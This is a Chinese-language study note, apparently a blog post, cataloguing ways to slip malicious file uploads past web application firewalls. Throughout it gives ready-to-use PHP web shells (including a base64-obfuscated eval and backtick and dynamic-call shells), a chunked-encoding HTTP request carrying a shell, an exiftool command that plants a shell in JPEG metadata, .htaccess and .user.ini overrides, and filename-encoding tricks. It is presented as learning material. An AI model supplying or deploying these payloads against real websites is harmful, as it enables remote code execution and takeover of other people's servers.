文件上传漏洞绕过WAF

文件上传漏洞绕过WAF学习笔记


1. WAF检测原理

WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:

  1. 关键字匹配 :检测文件名、内容中的敏感词(如<?php、eval)。

  2. 扩展名黑名单 :拦截.php、.jsp等危险扩展名。

  3. 文件头验证 :检查文件魔数(如FFD8FF对应JPEG)。

  4. 流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。


2. 通用绕过技术

2.1 解析差异利用

  • 大小写混合 :sHell.PhP、.Php(部分WAF未统一大小写)。

  • 特殊字符插入:

    • 分号截断(IIS):shell.asp;.jpg → 解析为.asp。

    • 换行符插入:filename="shell.p\nhp"(绕过正则匹配)。

  • 扩展名混淆:

    • 多重扩展名:shell.php.jpg → 结合解析漏洞(如Apache解析最后有效扩展名)。

    • 非标准扩展名:.php7、.phtml、.phar(需环境支持)。


2.2 编码混淆

  • URL编码:

    • shell.%70hp(%70=p)→ 部分WAF不解码检测。
  • Unicode编码:

    • shell.\u0070hp → 转换为shell.php。
  • HTML实体编码:

    • 文件名:shell.#112;hp(#112;=p)。
  • Base64/Hex编码文件内容:

    php

    复制代码
    <?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>  

2.3 分块传输(Chunked Encoding)

  • 绕过原理:WAF可能不解析分块传输的文件内容。

  • 示例:

    http

    复制代码
    POST /upload HTTP/1.1  
    Transfer-Encoding: chunked  
    ​
    7\r\n  
    <?php \r\n  
    8\r\n  
    system($_GET['cmd']);\r\n  
    0\r\n  
  • 工具 :Burp Suite的Chunked Coding Converter插件。


2.4 文件内容绕过

  • 图片马注入:

    • 在图片元数据中插入代码(Exif注释、IPTC字段)。

    bash

    复制代码
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  
  • 短标签与动态调用:

    php

    复制代码
    <?= `$_GET[0]`?>  # 短标签  
    <?php $_GET['a']($_GET['b']); ?>  # 动态函数调用  
  • 代码碎片化:

    php

    复制代码
    <?php $a = "syste"; $b = "m"; $a.$b("id"); ?>  

2.5 HTTP协议特性利用

  • 参数污染:

    http

    复制代码
    POST /upload?filename=shell.jpg HTTP/1.1  
    Content-Disposition: form-data; name="file"; filename="shell.php"  
    • 部分WAF优先取URL参数中的文件名。
  • 多文件上传绕过:

    • 在多个文件字段中插入恶意文件,WAF可能只检测第一个。

3. 针对特定WAF的绕过

3.1 云WAF(如Cloudflare、阿里云)

  • 缓存污染攻击:

    • 上传合法文件触发缓存,再覆盖为恶意文件。
  • IP轮询绕过:

    • 通过大量不同IP上传,绕过频率限制。

3.2 ModSecurity规则绕过

  • 已知规则缺陷:

    • 使用非常规扩展名:.php%20(空格)、.php.(末尾点)。

    • 利用正则回溯限制:构造超长文件名耗尽WAF计算资源。


4. 高级技巧

4.1 .htaccess/.user.ini覆盖

  • .htaccess(Apache):

    复制

    复制代码
    AddType application/x-httpd-php .jpg  
  • .user.ini(PHP):

    复制

    复制代码
    auto_prepend_file=shell.jpg  

4.2 分片上传绕过

  • 上传文件分片后合并,绕过WAF对完整文件的检测。

4.3 0day漏洞利用

  • CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。
相关推荐
Web Security Loop12 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
xixixi7777714 小时前
解读|华为星河 AI 三层安全围栏:以 AI 守护 AI,重构智算中心 Token 生产纵深防御体系
人工智能·安全·web安全·华为·提示词注入·agent安全·模型投毒
砚凝霜15 小时前
【软考信息安全】第十三章 网络安全漏洞分类管理与扫描处置
安全·web安全
Xudde.16 小时前
CVE-2017-9993漏洞复现
笔记·学习·安全·web安全
墨云安全18 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
砚凝霜1 天前
【软考信息安全】第十六章 网络安全风险评估项目流程与应用
网络·安全·web安全
悟道子HD1 天前
网络安全基本功——MySQL基础
android·mysql·web安全
Hum8le2 天前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技2 天前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构